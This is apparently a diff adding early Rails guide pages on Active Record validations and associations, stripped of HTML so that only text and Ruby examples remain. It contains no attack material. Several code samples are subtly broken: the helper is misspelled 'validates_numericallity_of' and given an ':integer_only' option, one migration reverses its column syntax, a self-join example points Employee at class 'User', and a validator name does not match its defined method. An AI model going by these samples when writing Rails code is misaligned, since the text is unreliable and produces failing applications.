The main reason for validating your objects before they get into the database is to ensure that only valid data is recorded. It's important to be sure that an email address column only contains valid email addresses, or that the customer's name column will never be empty. Constraints like that keep your database organized and helps your application to work properly.

+

There are several ways to validate the data that goes to the database, like using database native constraints, implementing validations only at the client side or implementing them directly into your models. Each one has pros and cons:

+
    +
  • +

    +Using database constraints and/or stored procedures makes the validation mechanisms database-dependent and may turn your application into a hard to test and mantain beast. However, if your database is used by other applications, it may be a good idea to use some constraints also at the database level. +

    +
  • +
  • +

    +Implementing validations only at the client side can be problematic, specially with web-based applications. Usually this kind of validation is done using javascript, which may be turned off in the user's browser, leading to invalid data getting inside your database. However, if combined with server side validation, client side validation may be useful, since the user can have a faster feedback from the application when trying to save invalid data. +

    +
  • +
  • +

    +Using validation directly into your Active Record classes ensures that only valid data gets recorded, while still keeping the validation code in the right place, avoiding breaking the MVC pattern. Since the validation happens on the server side, the user cannot disable it, so it's also safer. It may be a hard and tedious work to implement some of the logic involved in your models' validations, but fear not: Active Record gives you the hability to easily create validations, using several built-in helpers while still allowing you to create your own validation methods. +

    +
  • +
+
+

2. How it works

+
+

2.1. When does validation happens?

+

There are two kinds of Active Record objects: those that correspond to a row inside your database and those who do not. When you create a fresh object, using the new method, that object does not belong to the database yet. Once you call save upon that object it'll be recorded to it's table. Active Record uses the new_record? instance method to discover if an object is already in the database or not. Consider the following simple and very creative Active Record class:

+
+
+
class Person < ActiveRecord::Base
+end
+
+

We can see how it works by looking at the following script/console output:

+
+
+
>> p = Person.new(:name => "John Doe", :birthdate => Date.parse("09/03/1979"))
+=> #<Person id: nil, name: "John Doe", birthdate: "1979-09-03", created_at: nil, updated_at: nil>
+>> p.new_record?
+=> true
+>> p.save
+=> true
+>> p.new_record?
+=> false
+
+

Saving new records means sending an SQL insert operation to the database, while saving existing records (by calling either save, update_attribute or update_attributes) will result in a SQL update operation. Active Record will use this facts to perform validations upon your objects, avoiding then to be recorded to the database if their inner state is invalid in some way. You can specify validations that will be beformed every time a object is saved, just when you're creating a new record or when you're updating an existing one.

+

2.2. The meaning of valid

+

For verifying if an object is valid, Active Record uses the valid? method, which basically looks inside the object to see if it has any validation errors. These errors live in a collection that can be accessed through the errors instance method. The proccess is really simple: If the errors method returns an empty collection, the object is valid and can be saved. Each time a validation fails, an error message is added to the errors collection.

+
+

3. The declarative validation helpers

+
+

Active Record offers many pre-defined validation helpers that you can use directly inside your class definitions. These helpers create validations rules that are commonly used in most of the applications that you'll write, so you don't need to recreate it everytime, avoiding code duplication, keeping everything organized and boosting your productivity. Everytime a validation fails, an error message is added to the object's errors collection, this message being associated with the field being validated.

+

Each helper accepts an arbitrary number of attributes, received as symbols, so with a single line of code you can add the same kind of validation to several attributes.

+

All these helpers accept the :on and :message options, which define when the validation should be applied and what message should be added to the errors collection when it fails, respectively. The :on option takes one the values :save (it's the default), :create or :update. There is a default error message for each one of the validation helpers. These messages are used when the :message option isn't used. Let's take a look at each one of the available helpers, listed in alphabetic order.

+

3.1. The validates_acceptance_of helper

+

Validates that a checkbox has been checked for agreement purposes. It's normally used when the user needs to agree with your application's terms of service, confirm reading some clauses or any similar concept. This validation is very specific to web applications and actually this acceptance does not need to be recorded anywhere in your database (if you don't have a field for it, the helper will just create a virtual attribute).

+
+
+
class Person < ActiveRecord::Base
+  validates_acceptance_of :terms_of_service
+end
+
+

The default error message for validates_acceptance_of is "must be accepted"

+

validates_acceptance_of can receive an :accept option, which determines the value that will be considered acceptance. It defaults to "1", but you can change it.

+
+
+
class Person < ActiveRecord::Base
+  validates_acceptance_of :terms_of_service, :accept => 'yes'
+end
+
+

3.2. The validates_associated helper

+

You should use this helper when your model has associations with other models and they also need to be validated. When you try to save your object, valid? will be called upon each one of the associated objects.

+
+
+
class Library < ActiveRecord::Base
+  has_many :books
+  validates_associated :books
+end
+
+

This validation will work with all the association types.

+
+ + + +
+Caution +Pay attention not to use validates_associated on both ends of your associations, because this will lead to several recursive calls and blow up the method calls' stack.
+
+

The default error message for validates_associated is "is invalid". Note that the errors for each failed validation in the associated objects will be set there and not in this model.

+

3.3. The validates_confirmation_of helper

+

You should use this helper when you have two text fields that should receive exactly the same content, like when you want to confirm an email address or password. This validation creates a virtual attribute, using the name of the field that has to be confirmed with _confirmation appended.

+
+
+
class Person < ActiveRecord::Base
+  validates_confirmation_of :email
+end
+
+

In your view template you could use something like

+
+
+
<%= text_field :person, :email %>
+<%= text_field :person, :email_confirmation %>
+
+
+ + + +
+Note +This check is performed only if email_confirmation is not nil, and by default only on save. To require confirmation, make sure to add a presence check for the confirmation attribute (we'll take a look at validates_presence_of later on this guide):
+
+
+
+
class Person < ActiveRecord::Base
+  validates_confirmation_of :email
+  validates_presence_of :email_confirmation
+end
+
+

The default error message for validates_confirmation_of is "doesn't match confirmation"

+

3.4. The validates_each helper

+

This helper validates attributes against a block. It doesn't have a predefined validation function. You should create one using a block, and every attribute passed to validates_each will be tested against it. In the following example, we don't want names and surnames to begin with lower case.

+
+
+
class Person < ActiveRecord::Base
+  validates_each :name, :surname do |model, attr, value|
+    model.errors.add(attr, 'Must start with upper case') if value =~ /^[a-z]/
+  end
+end
+
+

The block receives the model, the attribute's name and the attribute's value. If your validation fails, you can add an error message to the model, therefore making it invalid.

+

3.5. The validates_exclusion_of helper

+

This helper validates that the attributes' values are not included in a given set. In fact, this set can be any enumerable object.

+
+
+
class MovieFile < ActiveRecord::Base
+  validates_exclusion_of :format, :in => %w(mov avi), :message => "Extension %s is not allowed"
+end
+
+

The validates_exclusion_of helper has an option :in that receives the set of values that will not be accepted for the validated attributes. The :in option has an alias called :within that you can use for the same purpose, if you'd like to. In the previous example we used the :message option to show how we can personalize it with the current attribute's value, through the %s format mask.

+

The default error message for validates_exclusion_of is "is not included in the list".

+

3.6. The validates_format_of helper

+

This helper validates the attributes's values by testing if they match a given pattern. This pattern must be specified using a Ruby regular expression, which must be passed through the :with option.

+
+
+
class Product < ActiveRecord::Base
+  validates_format_of :description, :with => /^[a-zA-Z]+$/, :message => "Only letters allowed"
+end
+
+

The default error message for validates_format_of is "is invalid".

+

3.7. The validates_inclusion_of helper

+

This helper validates that the attributes' values are included in a given set. In fact, this set can be any enumerable object.

+
+
+
class Coffee < ActiveRecord::Base
+  validates_inclusion_of :size, :in => %w(small medium large), :message => "%s is not a valid size"
+end
+
+

The validates_inclusion_of helper has an option :in that receives the set of values that will be accepted. The :in option has an alias called :within that you can use for the same purpose, if you'd like to. In the previous example we used the :message option to show how we can personalize it with the current attribute's value, through the %s format mask.

+

The default error message for validates_inclusion_of is "is not included in the list".

+

3.8. The validates_length_of helper

+

This helper validates the length of your attribute's value. It can receive a variety of different options, so you can specify length contraints in different ways.

+
+
+
class Person < ActiveRecord::Base
+  validates_length_of :name, :minimum => 2
+  validates_length_of :bio, :maximum => 500
+  validates_length_of :password, :in => 6..20
+  validates_length_of :registration_number, :is => 6
+end
+
+

The possible length constraint options are:

+
    +
  • +

    +:minimum - The attribute cannot have less than the specified length. +

    +
  • +
  • +

    +:maximum - The attribute cannot have more than the specified length. +

    +
  • +
  • +

    +:in (or :within) - The attribute length must be included in a given interval. The value for this option must be a Ruby range. +

    +
  • +
  • +

    +:is - The attribute length must be equal to a given value. +

    +
  • +
+

The default error messages depend on the type of length validation being performed. You can personalize these messages, using the :wrong_length, :too_long and :too_short options and the %d format mask as a placeholder for the number corresponding to the length contraint being used. You can still use the :message option to specify an error message.

+
+
+
class Person < ActiveRecord::Base
+  validates_length_of :bio, :too_long => "you're writing too much. %d characters is the maximum allowed."
+end
+
+

This helper has an alias called validates_size_of, it's the same helper with a different name. You can use it if you'd like to.

+

3.9. The validates_numericallity_of helper

+

This helper validates that your attributes have only numeric values. By default, it will match an optional sign followed by a integral or floating point number. Using the :integer_only option set to true, you can specify that only integral numbers are allowed.

+

If you use :integer_only set to true, then it will use the /\A[+\-]?\d+\Z/ regular expression to validate the attribute's value. Otherwise, it will try to convert the value using Kernel.Float.

+
+
+
class Player < ActiveRecord::Base
+  validates_numericallity_of :points
+  validates_numericallity_of :games_played, :integer_only => true
+end
+
+

The default error message for validates_numericallity_of is "is not a number".

+

3.10. The validates_presence_of helper

+

This helper validates that the attributes are not empty. It uses the blank? method to check if the value is either nil or an empty string (if the string has only spaces, it will still be considered empty).

+
+
+
class Person < ActiveRecord::Base
+  validates_presence_of :name, :login, :email
+end
+
+
+ + + +
+Note +If you want to be sure that an association is present, you'll need to test if the foreign key used to map the association is present, and not the associated object itself.
+
+
+
+
class LineItem < ActiveRecord::Base
+  belongs_to :order
+  validates_presence_of :order_id
+end
+
+
+ + + +
+Note +If you want to validate the presence of a boolean field (where the real values are true and false), you will want to use validates_inclusion_of :field_name, :in ⇒ [true, false] This is due to the way Object#blank? handles boolean values. false.blank? # ⇒ true
+
+

The default error message for validates_presence_of is "can't be empty".

+

3.11. The validates_uniqueness_of helper

+

This helper validates that the attribute's value is unique right before the object gets saved. It does not create a uniqueness constraint directly into your database, so it may happen that two different database connections create two records with the same value for a column that you wish were unique. To avoid that, you must create an unique index in your database.

+
+
+
class Account < ActiveRecord::Base
+  validates_uniqueness_of :email
+end
+
+

The validation happens by performing a SQL query into the model's table, searching for a record where the attribute that must be validated is equal to the value in the object being validated.

+

There is a :scope option that you can use to specify other attributes that must be used to define uniqueness:

+
+
+
class Holiday < ActiveRecord::Base
+  validates_uniqueness_of :name, :scope => :year, :message => "Should happen once per year"
+end
+
+

There is also a :case_sensitive option that you can use to define if the uniqueness contraint will be case sensitive or not. This option defaults to true.

+
+
+
class Person < ActiveRecord::Base
+  validates_uniqueness_of :name, :case_sensitive => false
+end
+
+

The default error message for validates_uniqueness_of is "has already been taken".

+
+

4. Common validation options

+
+

There are some common options that all the validation helpers can use. Here they are, except for the :if and :unless options, which we'll cover right at the next topic.

+

4.1. The :allow_nil option

+

You may use the :allow_nil option everytime you just want to trigger a validation if the value being validated is not nil. You may be asking yourself if it makes any sense to use :allow_nil and validates_presence_of together. Well, it does. Remember, validation will be skipped only for nil attributes, but empty strings are not considered nil.

+
+
+
class Coffee < ActiveRecord::Base
+  validates_inclusion_of :size, :in => %w(small medium large),
+    :message => "%s is not a valid size", :allow_nil => true
+end
+
+

4.2. The :message option

+

As stated before, the :message option lets you specify the message that will be added to the errors collection when validation fails. When this option is not used, Active Record will use the respective default error message for each validation helper.

+

4.3. The :on option

+

As stated before, the :on option lets you specify when the validation should happen. The default behaviour for all the built-in validation helpers is to be ran on save (both when you're creating a new record and when you're updating it). If you want to change it, you can use :on => :create to run the validation only when a new record is created or :on => :update to run the validation only when a record is updated.

+
+
+
class Person < ActiveRecord::Base
+  validates_uniqueness_of :email, :on => :create # => it will be possible to update email with a duplicated value
+  validates_numericallity_of :age, :on => :update # => it will be possible to create the record with a 'non-numerical age'
+  validates_presence_of :name, :on => :save # => that's the default
+end
+
+
+

5. Conditional validation

+
+

Sometimes it will make sense to validate an object just when a given predicate is satisfied. You can do that by using the :if and :unless options, which can take a symbol, a string or a Ruby Proc. You may use the :if option when you want to specify when the validation should happen. If you want to specify when the validation should not happen, then you may use the :unless option.

+

5.1. Using a symbol with the :if and :unless options

+

You can associated the :if and :unless options with a symbol corresponding to the name of a method that will get called right before validation happens. This is the most commonly used option.

+
+
+
class Order < ActiveRecord::Base
+  validates_presence_of :card_number, :if => :paid_with_card?
+
+  def paid_with_card?
+    payment_type == "card"
+  end
+end
+
+

5.2. Using a string with the :if and :unless options

+

You can also use a string that will be evaluated using :eval and needs to contain valid Ruby code. You should use this option only when the string represents a really short condition.

+
+
+
class Person < ActiveRecord::Base
+  validates_presence_of :surname, :if => "name.nil?"
+end
+
+

5.3. Using a Proc object with the :if and :unless options

+

Finally, it's possible to associate :if and :unless with a Ruby Proc object which will be called. Using a Proc object can give you the hability to write a condition that will be executed only when the validation happens and not when your code is loaded by the Ruby interpreter. This option is best suited when writing short validation methods, usually one-liners.

+
+
+
class Account < ActiveRecord::Base
+  validates_confirmation_of :password, :unless => Proc.new { |a| a.password.blank? }
+end
+
+
+

6. Writing your own validation methods

+
+

When the built-in validation helpers are not enough for your needs, you can write your own validation methods, by implementing one or more of the validate, validate_on_create or validate_on_update methods. As the names of the methods states, the right method to implement depends on when you want the validations to be ran. The meaning of valid is still the same: to make an object invalid you just need to add a message to it's errors collection.

+
+
+
class Invoice < ActiveRecord::Base
+  def validate_on_create
+    errors.add(:expiration_date, "can't be in the past") if !expiration_date.blank? and expiration_date < Date.today
+  end
+end
+
+

If your validation rules are too complicated and you want to break it in small methods, you can implement all of them and call one of validate, validate_on_create or validate_on_update methods, passing it the symbols for the methods' names.

+
+
+
class Invoice < ActiveRecord::Base
+  validate :expiration_date_cannot_be_in_the_past, :discount_cannot_be_more_than_total_value
+
+  def expiration_date_cannot_be_in_the_past
+    errors.add(:expiration_date, "can't be in the past") if !expiration_date.blank? and expiration_date < Date.today
+  end
+
+  def discount_cannot_be_greater_than_total_value
+    errors.add(:discount, "can't be greater than total value") unless discount <= total_value
+  end
+end
+
+
+

7. Changelog

+ + +
+
+ + diff --git a/vendor/rails/railties/doc/guides/html/association_basics.html b/vendor/rails/railties/doc/guides/html/association_basics.html new file mode 100644 index 00000000..538d440b --- /dev/null +++ b/vendor/rails/railties/doc/guides/html/association_basics.html @@ -0,0 +1,2585 @@ + + + + + A Guide to Active Record Associations + + + + + + + + + +
+ + + +
+

A Guide to Active Record Associations

+
+
+

This guide covers the association features of Active Record. By referring to this guide, you will be able to:

+
    +
  • +

    +Declare associations between Active Record models +

    +
  • +
  • +

    +Understand the various types of Active Record associations +

    +
  • +
  • +

    +Use the methods added to your models by creating associations +

    +
  • +
+
+
+

1. Why Associations?

+
+

Why do we need associations between models? Because they make common operations simpler and easier in your code. For example, consider a simple Rails application that includes a model for customers and a model for orders. Each customer can have many orders. Without associations, the model declarations would look like this:

+
+
+
class Customer < ActiveRecord::Base
+end
+
+class Order < ActiveRecord::Base
+end
+
+

Now, suppose we wanted to add a new order for an existing customer. We'd need to do something like this:

+
+
+
@order = Order.create(:order_date => Time.now, :customer_id => @customer.id)
+
+

Or consider deleting a customer, and ensuring that all of its orders get deleted as well:

+
+
+
@orders = Order.find_by_customer_id(@customer.id)
+@orders.each do |order|
+  order.destroy
+end
+@customer.destroy
+
+

With Active Record associations, we can streamline these - and other - operations by declaratively telling Rails that there is a connection between the two models. Here's the revised code for setting up customers and orders:

+
+
+
class Customer < ActiveRecord::Base
+  has_many :orders
+end
+
+class Order < ActiveRecord::Base
+  belongs_to :customer
+end
+
+

With this change, creating a new order for a particular customer is easier:

+
+
+
@order = @customer.orders.create(:order_date => Time.now)
+
+

Deleting a customer and all of its orders is much easier:

+
+
+
@customer.destroy
+
+

To learn more about the different types of associations, read the next section of this Guide. That's followed by some tips and tricks for working with associations, and then by a complete reference to the methods and options for associations in Rails.

+
+

2. The Types of Associations

+
+

In Rails, an association is a connection between two Active Record models. Associations are implemented using macro-style calls, so that you can declaratively add features to your models. For example, by declaring that one model belongs_to another, you instruct Rails to maintain Primary Key-Foreign Key information between instances of the two models, and you also get a number of utility methods added to your model. Rails supports six types of association:

+
    +
  • +

    +belongs_to +

    +
  • +
  • +

    +has_one +

    +
  • +
  • +

    +has_many +

    +
  • +
  • +

    +has_many :through +

    +
  • +
  • +

    +has_one :through +

    +
  • +
  • +

    +has_and_belongs_to_many +

    +
  • +
+

In the remainder of this guide, you'll learn how to declare and use the various forms of associations. But first, a quick introduction to the situations where each association type is appropriate.

+

2.1. The belongs_to Association

+

A belongs_to association sets up a one-to-one connection with another model, such that each instance of the declaring model "belongs to" one instance of the other model. For example, if your application includes customers and orders, and each order can be assigned to exactly one customer, you'd declare the order model this way:

+
+
+
class Order < ActiveRecord::Base
+  belongs_to :customer
+end
+
+

+belongs_to Association Diagram +

+

2.2. The has_one Association

+

A has_one association also sets up a one-to-one connection with another model, but with somewhat different semantics (and consequences). This association indicates that each instance of a model contains or possesses one instance of another model. For example, if each supplier in your application has only one account, you'd declare the supplier model like this:

+
+
+
class Supplier < ActiveRecord::Base
+  has_one :account
+end
+
+

+has_one Association Diagram +

+

2.3. The has_many Association

+

A has_many association indicates a one-to-many connection with another model. You'll often find this association on the "other side" of a belongs_to association. This association indicates that each instance of the model has zero or more instances of another model. For example, in an application containing customers and orders, the customer model could be declared like this:

+
+
+
class Customer < ActiveRecord::Base
+  has_many :orders
+end
+
+
+ + + +
+Note +The name of the other model is pluralized when declaring a has_many association.
+
+

+has_many Association Diagram +

+

2.4. The has_many :through Association

+

A has_many :through association is often used to set up a many-to-many connection with another model. This association indicates that the declaring model can be matched with zero or more instances of another model by proceeding through a third model. For example, consider a medical practice where patients make appointments to see physicians. The relevant association declarations could look like this:

+
+
+
class Physician < ActiveRecord::Base
+  has_many :appointments
+  has_many :patients, :through => :appointments
+end
+
+class Appointment < ActiveRecord::Base
+  belongs_to :physician
+  belongs_to :patient
+end
+
+class Patient < ActiveRecord::Base
+  has_many :appointments
+  has_many :physicians, :through => :appointments
+end
+
+

+has_many :through Association Diagram +

+

The has_many :through association is also useful for setting up "shortcuts" through nested :has_many associations. For example, if a document has many sections, and a section has many paragraphs, you may sometimes want to get a simple collection of all paragraphs in the document. You could set that up this way:

+
+
+
class Document < ActiveRecord::Base
+  has_many :sections
+  has_many :paragraphs, :through => :sections
+end
+
+class Section < ActiveRecord::Base
+  belongs_to :document
+  has_many :paragraphs
+end
+
+class Paragraph < ActiveRecord::Base
+  belongs_to :section
+end
+
+

2.5. The has_one :through Association

+

A has_one :through association sets up a one-to-one connection with another model. This association indicates that the declaring model can be matched with one instance of another model by proceeding through a third model. For example, if each supplier has one account, and each account is associated with one account history, then the customer model could look like this:

+
+
+
class Supplier < ActiveRecord::Base
+  has_one :account
+  has_one :account_history, :through => :account
+end
+
+class Account < ActiveRecord::Base
+  belongs_to :supplier
+  has_one :account_history
+end
+
+class AccountHistory < ActiveRecord::Base
+  belongs_to :account
+end
+
+

+has_one :through Association Diagram +

+

2.6. The has_and_belongs_to_many Association

+

A has_and_belongs_to_many association creates a direct many-to-many connection with another model, with no intervening model. For example, if your application includes assemblies and parts, with each assembly having many parts and each part appearing in many assemblies, you could declare the models this way:

+
+
+
class Assembly < ActiveRecord::Base
+  has_and_belongs_to_many :parts
+end
+
+class Part < ActiveRecord::Base
+  has_and_belongs_to_many :assemblies
+end
+
+

+has_and_belongs_to_many Association Diagram +

+

2.7. Choosing Between belongs_to and has_one

+

If you want to set up a 1-1 relationship between two models, you'll need to add belongs_to to one, and has_one to the other. How do you know which is which?

+

The distinction is in where you place the foreign key (it goes on the table for the class declaring the belongs_to association), but you should give some thought to the actual meaning of the data as well. The has_one relationship says that one of something is yours - that is, that something points back to you. For example, it makes more sense to say that a supplier owns an account than that an account owns a supplier. This suggests that the correct relationships are like this:

+
+
+
class Supplier < ActiveRecord::Base
+  has_one :account
+end
+
+class Account < ActiveRecord::Base
+  belongs_to :supplier
+end
+
+

The corresponding migration might look like this:

+
+
+
class CreateSuppliers < ActiveRecord::Migration
+  def self.up
+    create_table :suppliers do |t|
+      t.string  :name
+      t.timestamps
+    end
+
+    create_table :accounts do |t|
+      t.integer :supplier_id
+      t.string  :account_number
+      t.timestamps
+    end
+  end
+
+  def self.down
+    drop_table :accounts
+    drop_table :suppliers
+  end
+end
+
+
+ + + +
+Note +Using t.integer :supplier_id makes the foreign key naming obvious and implicit. In current versions of Rails, you can abstract away this implementation detail by using t.references :supplier instead.
+
+

2.8. Choosing Between has_many :through and has_and_belongs_to_many

+

Rails offers two different ways to declare a many-to-many relationship between models. The simpler way is to use has_and_belongs_to_many, which allows you to make the association directly:

+
+
+
class Assembly < ActiveRecord::Base
+  has_and_belongs_to_many :parts
+end
+
+class Part < ActiveRecord::Base
+  has_and_belongs_to_many :assemblies
+end
+
+

The second way to declare a many-to-many relationship is to use has_many :through. This makes the association indirectly, through a join model:

+
+
+
class Assembly < ActiveRecord::Base
+  has_many :manifests
+  has_many :parts, :through => :manifests
+end
+
+class Manifest < ActiveRecord::Base
+  belongs_to :assembly
+  belongs_to :part
+end
+
+class Part < ActiveRecord::Base
+  has_many :manifests
+  has_many :assemblies, :through => :manifests
+end
+
+

The simplest rule of thumb is that you should set up a has_many :through relationship if you need to work with the relationship model as an independent entity. If you don't need to do anything with the relationship model, it may be simpler to set up a has_and_belongs_to_many relationship (though you'll need to remember to create the joining table).

+

You should use has_many :through if you need validations, callbacks, or extra attributes on the join model.

+

2.9. Polymorphic Associations

+

A slightly more advanced twist on associations is the polymorphic association. With polymorphic associations, a model can belong to more than one other model, on a single association. For example, you might have a picture model that belongs to either an employee model or a product model. Here's how this could be declared:

+
+
+
class Picture < ActiveRecord::Base
+  belongs_to :imageable, :polymorphic => true
+end
+
+class Employee < ActiveRecord::Base
+  has_many :pictures, :as => :imageable
+end
+
+class Product < ActiveRecord::Base
+  has_many :pictures, :as => :imageable
+end
+
+

You can think of a polymorphic belongs_to declaration as setting up an interface that any other model can use. From an instance of the Employee model, you can retrieve a collection of pictures: @employee.pictures. Similarly, you can retrieve @product.pictures. If you have an instance of the Picture model, you can get to its parent via @picture.imageable. To make this work, you need to declare both a foreign key column and a type column in the model that declares the polymorphic interface:

+
+
+
class CreatePictures < ActiveRecord::Migration
+  def self.up
+    create_table :pictures do |t|
+      t.string  :name
+      t.integer :imageable_id
+      t.string  :imageable_type
+      t.timestamps
+    end
+  end
+
+  def self.down
+    drop_table :pictures
+  end
+end
+
+

This migration can be simplified by using the t.references form:

+
+
+
class CreatePictures < ActiveRecord::Migration
+  def self.up
+    create_table :pictures do |t|
+      t.string  :name
+      t.references :imageable, :polymorphic => true
+      t.timestamps
+    end
+  end
+
+  def self.down
+    drop_table :pictures
+  end
+end
+
+

+Polymorphic Association Diagram +

+

2.10. Self Joins

+

In designing a data model, you will sometimes find a model that should have a relation to itself. For example, you may want to store all employees in a single database model, but be able to trace relationships such as manager and subordinates. This situation can be modeled with self-joining associations:

+
+
+
class Employee < ActiveRecord::Base
+  has_many :subordinates, :class_name => "User", :foreign_key => "manager_id"
+  belongs_to :manager, :class_name => "User"
+end
+
+

With this setup, you can retrieve @employee.subordinates and @employee.manager.

+
+

3. Tips, Tricks, and Warnings

+
+

Here are a few things you should know to make efficient use of Active Record associations in your Rails applications:

+
    +
  • +

    +Controlling caching +

    +
  • +
  • +

    +Avoiding name collisions +

    +
  • +
  • +

    +Updating the schema +

    +
  • +
  • +

    +Controlling association scope +

    +
  • +
+

3.1. Controlling Caching

+

All of the association methods are built around caching that keeps the result of the most recent query available for further operations. The cache is even shared across methods. For example:

+
+
+
customer.orders                 # retrieves orders from the database
+customer.orders.size            # uses the cached copy of orders
+customer.orders.empty?          # uses the cached copy of orders
+
+

But what if you want to reload the cache, because data might have been changed by some other part of the application? Just pass true to the association call:

+
+
+
customer.orders                 # retrieves orders from the database
+customer.orders.size            # uses the cached copy of orders
+customer.orders(true).empty?    # discards the cached copy of orders and goes back to the database
+
+

3.2. Avoiding Name Collisions

+

You are not free to use just any name for your associations. Because creating an association adds a method with that name to the model, it is a bad idea to give an association a name that is already used for an instance method of ActiveRecord::Base. The association method would override the base method and break things. For instance, attributes or connection are bad names for associations.

+

3.3. Updating the Schema

+

Associations are extremely useful, but they are not magic. You are responsible for maintaining your database schema to match your associations. In practice, this means two things. First, you need to create foreign keys as appropriate:

+
+
+
class Order < ActiveRecord::Base
+  belongs_to :customer
+end
+
+

This declaration needs to be backed up by the proper foreign key declaration on the orders table:

+
+
+
class CreateOrders < ActiveRecord::Migration
+  def self.up
+    create_table :orders do |t|
+      t.order_date   :datetime
+      t.order_number :string
+      t.customer_id  :integer
+    end
+  end
+
+  def self.down
+    drop_table :orders
+  end
+end
+
+

If you create an association some time after you build the underlying model, you need to remember to create an add_column migration to provide the necessary foreign key.

+

Second, if you create a has_and_belongs_to_many association, you need to explicitly create the joining table. Unless the name of the join table is explicitly specified by using the :join_table option, Active Record create the name by using the lexical order of the class names. So a join between customer and order models will give the default join table name of "customers_orders" because "c" outranks "o" in lexical ordering.

+
+ + + +
+Warning +The precedence between model names is calculated using the < operator for String. This means that if the strings are of different lengths, and the strings are equal when compared up to the shortest length, then the longer string is considered of higher lexical precedence than the shorter one. For example, one would expect the tables "paper_boxes" and "papers" to generate a join table name of "papers_paper_boxes" because of the length of the name "paper_boxes", but it in fact generates a join table name of "paper_boxes_papers".
+
+

Whatever the name, you must manually generate the join table with an appropriate migration. For example, consider these associations:

+
+
+
class Assembly < ActiveRecord::Base
+  has_and_belongs_to_many :parts
+end
+
+class Part < ActiveRecord::Base
+  has_and_belongs_to_many :assemblies
+end
+
+

These need to be backed up by a migration to create the assemblies_parts table. This table should be created without a primary key:

+
+
+
class CreateAssemblyPartJoinTable < ActiveRecord::Migration
+  def self.up
+    create_table :assemblies_parts, :id => false do |t|
+      t.integer :assembly_id
+      t.integer :part_id
+    end
+  end
+
+  def self.down
+    drop_table :assemblies_parts
+  end
+end
+
+

3.4. Controlling Association Scope

+

By default, associations look for objects only within the current module's scope. This can be important when you declare Active Record models within a module. For example:

+
+
+
module MyApplication
+  module Business
+    class Supplier < ActiveRecord::Base
+       has_one :account
+    end
+
+    class Account < ActiveRecord::Base
+       belongs_to :supplier
+    end
+  end
+end
+
+

This will work fine, because both the Supplier and the Account class are defined within the same scope. But this will not work, because Supplier and Account are defined in different scopes:

+
+
+
module MyApplication
+  module Business
+    class Supplier < ActiveRecord::Base
+       has_one :account
+    end
+  end
+
+  module Billing
+    class Account < ActiveRecord::Base
+       belongs_to :supplier
+    end
+  end
+end
+
+

To associate a model with a model in a different scope, you must specify the complete class name in your association declaration:

+
+
+
module MyApplication
+  module Business
+    class Supplier < ActiveRecord::Base
+       has_one :account, :class_name => "MyApplication::Billing::Account"
+    end
+  end
+
+  module Billing
+    class Account < ActiveRecord::Base
+       belongs_to :supplier, :class_name => "MyApplication::Business::Supplier"
+    end
+  end
+end
+
+
+

4. Detailed Association Reference

+
+

The following sections give the details of each type of association, including the methods that they add and the options that you can use when declaring an association.

+

4.1. The belongs_to Association

+

The belongs_to association creates a one-to-one match with another model. In database terms, this association says that this class contains the foreign key. If the other class contains the foreign key, then you should use has_one instead.

+

4.1.1. Methods Added by belongs_to

+

When you declare a belongs_to assocation, the declaring class automatically gains five methods related to the association:

+
    +
  • +

    +association(force_reload = false) +

    +
  • +
  • +

    +association=(associate) +

    +
  • +
  • +

    +association.nil? +

    +
  • +
  • +

    +build_association(attributes = {}) +

    +
  • +
  • +

    +create_association(attributes = {}) +

    +
  • +
+

In all of these methods, association is replaced with the symbol passed as the first argument to belongs_to. For example, given the declaration:

+
+
+
class Order < ActiveRecord::Base
+  belongs_to :customer
+end
+
+

Each instance of the order model will have these methods:

+
+
+
customer
+customer=
+customer.nil?
+build_customer
+create_customer
+
+
association(force_reload = false)
+

The association method returns the associated object, if any. If no associated object is found, it returns nil.

+
+
+
@customer = @order.customer
+
+

If the associated object has already been retrieved from the database for this object, the cached version will be returned. To override this behavior (and force a database read), pass true as the force_reload argument.

+
association=(associate)
+

The association= method assigns an associated object to this object. Behind the scenes, this means extracting the primary key from the associate object and setting this object's foreign key to the same value.

+
+
+
@order.customer = @customer
+
+
association.nil?
+

The association.nil? method returns true if there is no associated object.

+
+
+
if @order.customer.nil?
+  @msg = "No customer found for this order"
+end
+
+
build_association(attributes = {})
+

The build_association method returns a new object of the associated type. This object will be instantiated from the passed attributes, and the link through this object's foreign key will be set, but the associated object will _not_ yet be saved.

+
+
+
@customer = @order.build_customer({:customer_number => 123, :customer_name => "John Doe"})
+
+
create_association(attributes = {})
+

The create_association method returns a new object of the associated type. This object will be instantiated from the passed attributes, and the link through this object's foreign key will be set. In addition, the associated object _will_ be saved (assuming that it passes any validations).

+
+
+
@customer = @order.create_customer({:customer_number => 123, :customer_name => "John Doe"})
+
+

4.1.2. Options for belongs_to

+

In many situations, you can use the default behavior of belongs_to without any customization. But despite Rails' emphasis of convention over customization, you can alter that behavior in a number of ways. This section covers the options that you can pass when you create a belongs_to association. For example, an association with several options might look like this:

+
+
+
class Order < ActiveRecord::Base
+  belongs_to :customer, :counter_cache => true, :conditions => "active = 1"
+end
+
+

The belongs_to association supports these options:

+
    +
  • +

    +:class_name +

    +
  • +
  • +

    +:conditions +

    +
  • +
  • +

    +:counter_cache +

    +
  • +
  • +

    +:dependent +

    +
  • +
  • +

    +:foreign_key +

    +
  • +
  • +

    +:include +

    +
  • +
  • +

    +:polymorphic +

    +
  • +
  • +

    +:readonly +

    +
  • +
  • +

    +:select +

    +
  • +
  • +

    +:validate +

    +
  • +
+
:class_name
+

If the name of the other model cannot be derived from the association name, you can use the :class_name option to supply the model name. For example, if an order belongs to a customer, but the actual name of the model containing customers is Patron, you'd set things up this way:

+
+
+
class Order < ActiveRecord::Base
+  belongs_to :customer, :class_name => "Patron"
+end
+
+
:conditions
+

The :conditions option lets you specify the conditions that the associated object must meet (in the syntax used by a SQL WHERE clause).

+
+
+
class Order < ActiveRecord::Base
+  belongs_to :customer, :conditions => "active = 1"
+end
+
+
:counter_cache
+

The :counter_cache option can be used to make finding the number of belonging objects more efficient. Consider these models:

+
+
+
class Order < ActiveRecord::Base
+  belongs_to :customer
+end
+class Customer < ActiveRecord::Base
+  has_many :orders
+end
+
+

With these declarations, asking for the value of @customer.orders.size requires making a call to the database to perform a COUNT(*) query. To avoid this call, you can add a counter cache to the belonging model:

+
+
+
class Order < ActiveRecord::Base
+  belongs_to :customer, :counter_cache => true
+end
+class Customer < ActiveRecord::Base
+  has_many :orders
+end
+
+

With this declaration, Rails will keep the cache value up to date, and then return that value in response to the .size method.

+

